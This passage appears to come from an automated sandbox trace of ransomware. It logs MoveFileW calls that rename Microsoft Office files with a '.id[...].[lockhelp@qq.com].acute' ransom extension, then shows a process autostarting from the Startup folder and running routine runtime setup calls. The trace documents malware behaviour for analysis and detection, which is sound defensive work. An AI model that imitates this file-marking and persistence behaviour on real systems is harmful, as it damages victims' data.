(normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14\\built-in building blocks.dotx.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\Built-In Building Blocks.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14\\built-in building blocks.dotx")) returned 0 [0276.976] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\outlfltr.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DAT.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\outlfltr.dat.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.976] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DAT.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\outlfltr.dat.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\outlfltr.dat")) returned 0 [0277.263] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALNDR_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\calndr_m.vss"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALNDR_M.VSS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\calndr_m.vss.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.263] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALNDR_M.VSS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\calndr_m.vss.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALNDR_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\calndr_m.vss")) returned 0 [0277.264] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALNDR_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\calndr_u.vss"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALNDR_U.VSS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\calndr_u.vss.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.264] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALNDR_U.VSS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\calndr_u.vss.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALNDR_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\calndr_u.vss")) returned 0 Process: id = "12" image_name = "cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" page_root = "0x7658a000" os_pid = "0x4fc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e082" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 87 os_tid = 0x500 [0266.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x40f8f0 | out: lpSystemTimeAsFileTime=0x40f8f0*(dwLowDateTime=0x4cb82b00, dwHighDateTime=0x1d52d08)) [0266.195] GetCurrentProcessId () returned 0x4fc [0266.195] GetCurrentThreadId () returned 0x500 [0266.195] GetTickCount () returned 0x69ba [0266.195] QueryPerformanceCounter (in: lpPerformanceCount=0x40f8e8 | out: lpPerformanceCount=0x40f8e8*=7045556787) returned 1 [0266.196] GetStartupInfoW (in: lpStartupInfo=0x40f894 | out: lpStartupInfo=0x40f894*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x40f8f8, hStdError=0xf68ca4)) [0266.196] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0266.196] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0xa60000 [0266.197] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75bd0000 [0266.197] GetProcAddress (hModule=0x75bd0000, lpProcName="FlsAlloc") returned 0x75be4f2b [0266.197] GetProcAddress (hModule=0x75bd0000, lpProcName="FlsGetValue") returned 0x75be1252 [0266.197] GetProcAddress (hModule=0x75bd0000, lpProcName="FlsSetValue") returned 0x75be4208 [0266.197] GetProcAddress (hModule=0x75bd0000, lpProcName="FlsFree") returned 0x75be359f [0266.197] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x214) returned 0xa607d0 [0266.197] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75bd0000 [0266.198] GetCurrentThreadId () returned 0x500 [0266.198] GetStartupInfoW (in: lpStartupInfo=0x40f830 | out: lpStartupInfo=0x40f830*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xf6726a, hStdOutput=0xf675a3, hStdError=0xa607d0)) [0266.198] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x800) returned 0xa609f0 [0266.198] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0266.198] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0266.198] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0266.198] SetHandleCount (uNumber=0x20) returned 0x20 [0266.198] GetCommandLineA () returned="\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe\" " [0266.198] GetEnvironmentStringsW () returned 0x4d49d8* [0266.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1409 [0266.198] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x0, Size=0x581) returned 0xa611f8 [0266.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0xa611f8, cbMultiByte=1409, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1409 [0266.198] FreeEnvironmentStringsW (penv=0x4d49d8) returned 1 [0266.198] GetLastError () returned 0x5 [0266.198] SetLastError (dwErrCode=0x5) [0266.198] GetLastError () returned 0x5 [0266.198] SetLastError (dwErrCode=0x5) [0266.198] GetLastError () returned 0x5 [0266.198] SetLastError (dwErrCode=0x5) [0266.198] GetACP () returned 0x4e4 [0266.199] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x0, Size=0x220) returned 0xa61788 [0266.199] GetLastError () returned 0x5 [0266.199] SetLastError (dwErrCode=0x5) [0266.199] IsValidCodePage (CodePage=0x4e4) returned 1 [0266.199] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x40f7f8 | out: lpCPInfo=0x40f7f8) returned 1 [0266.199] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x40f2c4 | out: lpCPInfo=0x40f2c4) returned 1 [0266.199] GetLastError () returned 0x5 [0266.199] SetLastError (dwErrCode=0x5) [0266.199] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x40f6d8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0266.199] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x40f6d8, cbMultiByte=256, lpWideCharStr=0x40f048, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0266.199] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x40f2d8 | out: lpCharType=0x40f2d8) returned 1 [0266.199] GetLastError () returned 0x5 [0266.199] SetLastError (dwErrCode=0x5) [0266.199] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x40f6d8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0266.199] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x40f6d8, cbMultiByte=256, lpWideCharStr=0x40f008, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0266.199] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0266.199] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x40edf8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0266.199] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x40f5d8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x48\xcc\xef\x10\xf8\x40", lpUsedDefaultChar=0x0) returned 256 [0266.199] GetLastError () returned 0x5 [0266.199] SetLastError (dwErrCode=0x5) [0266.199] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x40f6d8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0266.199] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x40f6d8, cbMultiByte=256, lpWideCharStr=0x40f028, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0266.199] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0266.199] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x40ee18, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0266.199] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x40f4d8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x